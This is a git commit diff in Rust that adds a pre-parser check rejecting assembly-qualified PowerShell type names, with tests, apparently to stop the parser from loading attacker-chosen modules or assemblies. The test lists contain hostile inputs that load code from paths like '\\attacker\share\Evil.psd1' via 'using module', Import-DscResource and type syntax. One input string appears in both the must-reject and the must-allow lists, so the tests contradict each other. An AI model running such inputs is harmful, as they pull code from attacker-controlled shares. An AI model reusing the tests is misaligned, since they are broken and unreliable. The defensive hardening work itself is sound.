fix(shell-command): reject assembly-qualified parser input

This commit is contained in:
Chris Bookholt
2026-07-02 21:54:03 -07:00
parent 7697208282
commit 91798e6206
5 changed files with 69 additions and 4 deletions
@@ -212,6 +212,7 @@ async fn trusted_unsupported_scripts_use_the_generic_outer_policy() {
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
// The raw pre-parser gate intentionally accepts false positives in exchange for
// never invoking SMA on a possible parse-time construct.
"Write-Output 'confusing but inert'",
@@ -787,6 +787,30 @@ Get-Content Cargo.toml"#,
}
}
#[test]
fn parser_process_never_sends_assembly_qualified_types_to_sma() {
let powershell = trusted_windows_powershell_parser();
let mut parser = PowershellParserProcess::spawn(&powershell).unwrap();
for source in [
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist <# ] #>, C:/workspace/Codex.AttackerAssembly]",
] {
let next_request_id = parser.next_request_id;
assert_eq!(
parser.parse(source).unwrap(),
PowershellParseOutcome::Unsupported,
);
assert_eq!(
parser.next_request_id, next_request_id,
"assembly-qualified type reached the parser child: {source:?}",
);
}
}
#[test]
fn parser_process_isolates_inherited_environment_and_module_search() {
let temp = tempfile::tempdir().unwrap();
@@ -1,17 +1,33 @@
/// Returns whether a PowerShell source must be rejected before calling `Parser::ParseInput`.
///
/// `ParseInput` is not a side-effect-free syntax parser. Its semantic passes can resolve `using`
/// directives and initialize DSC configuration keywords, which may inspect or load a
/// source-selected module path. Keep the pre-parser deliberately coarse and auditable: any raw
/// mention of those language forms, or any backtick that could obscure spelling, is handled by
/// the outer-command policy without sending the source to System.Management.Automation.
/// directives, initialize DSC configuration keywords, and resolve assembly-qualified type names,
/// any of which may inspect or load a source-selected path. Keep the pre-parser deliberately
/// coarse and auditable: suspicious raw forms are handled by the outer-command policy without
/// sending the source to System.Management.Automation.
pub(super) fn requires_preparse_rejection(source: &str) -> bool {
source.contains('`')
|| contains_bracket_before_later_comma(source)
|| ["using", "configuration", "import-dscresource"]
.into_iter()
.any(|keyword| contains_ignore_ascii_case(source, keyword))
}
/// Assembly-qualified PowerShell type syntax contains `[` before a later `,`. Once an opening
/// bracket is seen, deliberately never reset on `]`: comments and strings can contain a closing
/// bracket before the real assembly delimiter, while `ParseInput` still resolves the assembly.
fn contains_bracket_before_later_comma(source: &str) -> bool {
let mut saw_bracket = false;
for byte in source.bytes() {
match byte {
b'[' => saw_bracket = true,
b',' if saw_bracket => return true,
_ => {}
}
}
false
}
fn contains_ignore_ascii_case(source: &str, needle: &str) -> bool {
source
.as_bytes()
@@ -23,6 +23,20 @@ fn rejects_every_possible_parse_time_construct_before_semantic_parsing() {
r"Write-Output 'using module Foo'",
r#"Write-Output "configuration CodexProbe {}""#,
r"Get-Content C:\configuration\using\file.txt",
"[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //tmp/Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
"[Codex.DoesNotExist <# ] #>, /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist\n,\n/tmp/Codex.AttackerAssembly]",
"[System.Collections.Generic.Dictionary[string, Codex.DoesNotExist]]",
"[System.Collections.Generic.List[[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]]]",
"[Codex.DoesNotExistAttribute, Codex.AttackerAssembly()] class C {}",
"[Codex.DoesNotExistAttribute <# ] #>, /tmp/Codex.AttackerAssembly()] class C {}",
"Write-Output '[not a type]'; Write-Output a,b",
"# [ inert\nWrite-Output a,b",
] {
assert!(requires_preparse_rejection(source), "accepted {source:?}");
}
@@ -36,6 +50,12 @@ fn allows_sources_without_raw_semantic_keywords() {
r#"confi"guration" CodexProbe {}"#,
"u'sing' module Foo",
"#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml",
"[System.String]::Empty",
"$items[0]",
"Write-Output 1,2; [System.String]::Empty",
"Write-Output '[not a type]'",
"[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]",
"[Codex.DoesNotExist، /tmp/Codex.AttackerAssembly]",
] {
assert!(!requires_preparse_rejection(source), "rejected {source:?}");
}
@@ -502,6 +502,10 @@ mod tests {
for script in [
"UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml",
"configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }",
r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]",
r"[Codex.DoesNotExist, \\attacker\share\Evil]",
"[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]",
"[Codex.DoesNotExist, //attacker/share/Evil]",
] {
assert!(!is_safe_command_windows(&vec_str(&[
windows_powershell_exe(),